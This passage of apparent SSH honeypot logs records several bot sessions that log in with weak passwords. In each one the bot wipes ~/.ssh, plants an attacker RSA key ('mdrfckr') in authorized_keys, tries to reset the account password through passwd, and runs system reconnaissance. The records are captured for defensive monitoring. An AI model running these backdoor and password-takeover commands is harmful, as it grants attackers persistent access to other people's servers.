GNU/Linux"},{"seq":29,"at":"2026-08-27T12:19:33.308728+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:19:34.000763+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T12:19:34.258524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:19:35.157005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:19:35.418009+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:19:36.259171+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"Test123","method":"password","accepted":true,"tier":"other"}]} {"id":"2adc65a9-9a2a-48c2-951c-7a9693314980","name":"early-flinty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":49492,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:01.318517+00:00","ended_at":"2026-08-27T12:19:03.298001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:18:43.259138+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:18:43.564014+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:18:47.367926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:18:47.908189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:18:48.209564+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:18:48.505753+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:18:48.807765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:18:49.610181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:18:49.909626+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:18:51.054645+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:18:51.356106+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:18:52.450274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:18:52.745579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:18:53.356022+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:18:53.653814+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:18:54.305507+00:00","kind":"output","latency_ms":null,"data":" 12:18:54 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:18:54.607821+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:18:55.156384+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:18:55.453171+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:18:56.102999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:18:56.407237+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:18:57.130384+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:57 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:18:57.432081+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:18:57.855881+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:18:58.152040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:18:58.829319+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:18:59.130719+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:18:59.515110+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T12:18:59.814150+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:01.019357+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:01.319326+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:03.211162+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"90f233c9-a27d-4ed5-8e5a-ad096db4b742","name":"murky-obsidian-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59556,"username":"radius","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:18:32.276938+00:00","ended_at":"2026-08-27T12:18:33.654095+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:18:10.507943+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:18:10.970629+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:18:16.371077+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:18:17.128336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:18:17.591629+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nv1YpR9rGBxGC\\nv1YpR9rGBxGC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:18:18.051225+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nv1YpR9rGBxGC\\nv1YpR9rGBxGC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:18:18.508645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:18:19.368885+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:18:19.827116+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:18:21.047328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:18:21.508037+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:18:22.526674+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:18:22.989255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:18:23.426964+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:18:23.892730+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:18:24.491299+00:00","kind":"output","latency_ms":null,"data":" 12:18:24 up 7 days, 9:08, 0 user, load average: 0.32, 0.24, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:18:24.953855+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:18:25.578179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:18:26.037616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:18:26.831281+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:18:27.293707+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:18:27.697237+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:27 up 7 days, 9:08, 0 user, load average: 0.32, 0.24, 0.34\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:18:28.159204+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:18:28.548478+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:18:29.010055+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:18:29.285929+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:18:29.747918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:18:30.492863+00:00","kind":"output","latency_ms":null,"data":"radius"},{"seq":29,"at":"2026-08-27T12:18:30.952549+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:18:31.817547+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:18:32.277744+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:18:33.512670+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"radius","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"464cf29c-a5b7-42bb-a3fa-d990165de08a","name":"brave-foggy-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57670,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:38.862670+00:00","ended_at":"2026-08-27T12:17:40.888936+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:17:21.221926+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:21.548841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:25.931191+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:26.395283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:26.721777+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:27.049952+00:00","kind":"input","latency_ms":null,"data":"echo \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:27.375533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:27.910728+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:28.239123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:29.112683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:29.443651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:30.194592+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:30.532688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:30.824550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:31.154201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:31.913856+00:00","kind":"output","latency_ms":null,"data":" 12:17:31 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:32.242243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:32.663547+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:32.991942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:33.319054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:33.648022+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:34.257851+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:34 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:34.587662+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:34.960130+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:35.288135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:36.054139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:36.384120+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:37.259910+00:00","kind":"output","latency_ms":null,"data":"cuckoo"},{"seq":29,"at":"2026-08-27T12:17:37.588294+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:38.534599+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:38.863195+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:40.790620+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuckoo","password":"cuckoo","method":"password","accepted":true,"tier":"other"}]} {"id":"41f9f301-0f99-43d0-b4ad-6d08299e70d8","name":"canny-autumn-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":55478,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:37.816270+00:00","ended_at":"2026-08-27T12:17:39.130521+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:17:10.305014+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.053571+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:17.819003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:18.278318+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:19.033164+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:19.786587+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:20.565793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:21.193263+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:21.948677+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:22.874847+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:23.632100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:24.418878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:25.184403+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:25.636537+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:26.394631+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:26.840252+00:00","kind":"output","latency_ms":null,"data":" 12:17:26 up 7 days, 9:07, 0 user, load average: 0.15, 0.12, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:27.597998+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:28.205041+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:28.960522+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:29.861342+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:30.617927+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:31.075930+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:31 up 7 days, 9:07, 0 user, load average: 0.15, 0.12, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:31.831644+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:32.536534+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:33.291314+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:33.730008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:34.491041+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:35.324140+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:17:36.081483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:37.055243+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:37.817025+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:38.884474+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]} {"id":"b79aced4-aad9-4169-a27d-82fe9b3e5e09","name":"wandering-lonesome-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55980,"username":"ebi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:31.960154+00:00","ended_at":"2026-08-27T12:17:33.416619+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:17:10.818565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.105744+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 